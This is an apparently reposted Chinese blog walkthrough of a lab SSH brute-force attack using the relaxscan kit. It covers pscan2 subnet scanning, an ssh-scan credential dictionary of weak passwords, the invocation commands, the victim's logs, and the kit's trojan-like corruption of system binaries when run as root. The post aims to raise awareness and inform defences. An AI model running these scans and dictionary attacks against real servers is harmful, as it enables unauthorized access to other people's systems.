1. 程式人生 > >示使用relaxscan暴力破解SSH

示使用relaxscan暴力破解SSH

  由於安全意識不足,導致機器被入侵的例子多不勝數。最近不斷接到有伺服器被入侵,執行檔案被修改的報障。原因大多都是因為開放了SSH服務,同時允許root訪問,密碼又過於簡單的情況。為提出更有效的防範辦法,決定做個攻擊模擬。以下使用的工具是relaxsan,從網上可以很方便的找到,為免影響不好,我這裡就不提供了,僅做個攻擊演示。

一、獲取工具
首先,我不知道為什麼叫relaxscan,這東西是從Google搜的,來源自chinaunix某個部落格中,某被入侵所提取的程式碼。
裡面包括pscan2和ssh-scan這兩個關鍵程式,及一些必須的檔案:
引用 pscan2 埠掃描工具,可對指定的網段中的IP,進行特定埠的掃描,找到滿足要求的伺服器後,會這些伺服器IP記錄到檔案中;
ssh-scan 對指定的伺服器進行暴力破解,其需要以下幾個檔案:
  mft.txt 攻擊的伺服器IP列表,可由pscan2獲得,每個IP一行;
  pass_file 攻擊用字典檔案,每行由使用者名稱+空格+密碼組成,由ssh-scan自行呼叫,用於嘗試進入ssh訪問;
  vuln.txt 成功入侵目標主機後的記錄檔案,會標註那些機器通過什麼使用者名稱和密碼可以進入。
二、攻擊演示

1、演示伺服器

引用 hacker:10.10.10.1/24 → 作為攻擊端
target:10.10.10.10/24 →作為被攻擊目標
2、建立一個普通使用者
這步很重要,雖然沒有pscan2的原始碼,但基本可以肯定的是,pscan2本身具有木馬的特性。千萬不要以root使用者執行pscan2,記住!(網上有似乎有該程式的原始碼,但我不能肯定是否一樣,但在後面的補充內容中,我會做個簡單的測試,以說明這問題。)

# useradd test
# passwd test
3、掃描特定網段
切換到test使用者,把relaxscan解壓出來,給pscan2 賦予可執行許可權:
引用 # su - test
$ id
uid=512(test) gid=512(test) groups=512(test)
$ cd relaxscan/
$ chmod +x pscan2
pscan2 的用法:
引用 $ ./pscan2
Usage: ./pscan2 [c-block]
第一個引數是給出掃描的網段,必須是B型別的;
第二個引數是掃描的埠;
第三個引數是可選的,可進一步限制上面B型別網段中的C 段範圍;
掃描10.10.10 網段:
引用 $ ./pscan2 10.10 22 10
# scanning:
# pscan completed in 3 seconds. (found 2 ips)
$ cat 10.10.10.pscan.22
10.10.10.1
10.10.10.10
可見,找到該網段中有兩個IP打開了SSH服務。

4、攻擊特定IP的SSH服務

既然找到已開啟SSH服務的機器IP,那就可以用ssh-scan 進行暴力破解了。破解的關鍵是字典檔案pass_file ,該檔案決定了攻擊時間的長短和成功率。可以從網上獲取一堆的字典,下面是我模擬的幾個使用者名稱和密碼:
引用 $ cat pass_file
upload upload
root q1w2e3r4
root qwer1234
root qwer0987
root poiu7890
oracle oracle
ftp ftp
apache apache
nagios nagios
nginx nginx
lighttpd lighttpd
mysql mysql
postfix postfix
※ 千萬不要忽視普通使用者的登入,普通使用者可通過一些root exploit 漏洞提升到root許可權,屆時,與通過root訪問也沒什麼差別。

把上面通過pscan2得到的IP地址段,轉存為mfu.txt檔案,然後開始攻擊:
引用 $ grep -v -w '10.10.10.1' 10.10.10.pscan.22 > mfu.txt
$ ./ssh-scan 100
Toata dragostea mea pentru diavola!!!!!!
在被攻擊端的安全日誌中,會顯示大量的嘗試記錄,類似:
引用 Jul  8 12:00:33 asianux3 sshd[2488]: Invalid user upload from 10.10.10.1
Jul  8 12:00:33 asianux3 sshd[2489]: input_userauth_request: invalid user upload
Jul  8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): check pass; user unknown
Jul  8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.10.1
Jul  8 12:00:33 asianux3 sshd[2488]: pam_succeed_if(sshd:auth): error retrieving information about user upload
Jul  8 12:00:36 asianux3 sshd[2488]: Failed password for invalid user upload from 10.10.10.1 port 2000 ssh2
Jul  8 12:00:36 asianux3 sshd[2489]: Received disconnect from 10.10.10.1: 11: Bye Bye
......
Jul  8 12:00:44 asianux3 sshd[2499]: Accepted password for oracle from 10.10.10.1 port 2005 ssh2
Jul  8 12:00:44 asianux3 sshd[2499]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

攻擊的密度與您給ssh-scan提供的引數有關,引數越大,嘗試越頻繁。從上面的日誌可看到,oracle使用者嘗試登入成功了。
在攻擊端也會顯示資訊:
引用 $ L-amPrins... !! ->oracle:oracle:10.10.10.10
並記錄在vuln.txt 檔案中:
引用 $ cat vuln.txt
oracle:oracle:10.10.10.10
至此,攻擊算是完成了。後續的,就是用該使用者登入ssh,然後嘗試exploit 到root等操作,這裡不再敘述。

三、破壞系統可執行檔案
本來,我是希望通過這次的模擬,產生類似下面的病毒檔案:
點選在新視窗中瀏覽此圖片
可惜沒效果。但通過實驗,發現pscan2和ssh-scan 確實是有問題的
1、原系統執行檔案資訊
找幾個系統執行檔案的當前資訊:
引用 # ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root   25216 2010-03-02 /bin/cat
-rwxr-xr-x 1 root root   70632 2010-03-02 /bin/cp
-rwxr-xr-x 1 root root   35880 2010-03-25 /bin/more
-rwxr-xr-x 1 root root   78680 2010-03-02 /bin/mv
-rwsr-xr-x 1 root root   40432 2010-03-25 /bin/umount
2、以root許可權執行pscan2或ssh-scan
結果,系統中的一些執行檔案被修改:
引用 # ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root 33408 07-08 12:34 /bin/cat
-rwxr-xr-x 1 root root 78824 07-08 12:34 /bin/cp
-rwxr-xr-x 1 root root 44072 07-08 12:34 /bin/more
-rwxr-xr-x 1 root root 86872 07-08 12:34 /bin/mv
-rwsr-xr-x 1 root root 48624 07-08 12:34 /bin/umount
這些檔案都被加了8192位元組(某些檔案會加16384位元組),導致這些檔案損壞了:
引用 # cp
-bash: /bin/cp: cannot execute binary file
# mv
-bash: /bin/mv: cannot execute binary file
# umount
-bash: /bin/umount: cannot execute binary file
表現形式很像木馬程式。而且這些都是基本的執行檔案,結果就是系統異常,修復也很困難。幸虧沒感染能力,不會大規模傳播。
一般可通過rpm -Va 找出被破壞的檔案,然後重新安裝對應的rpm包。但手續複雜,而且不能確保修復完整。
所以,嘗試relaxscan前,請務必小心哦!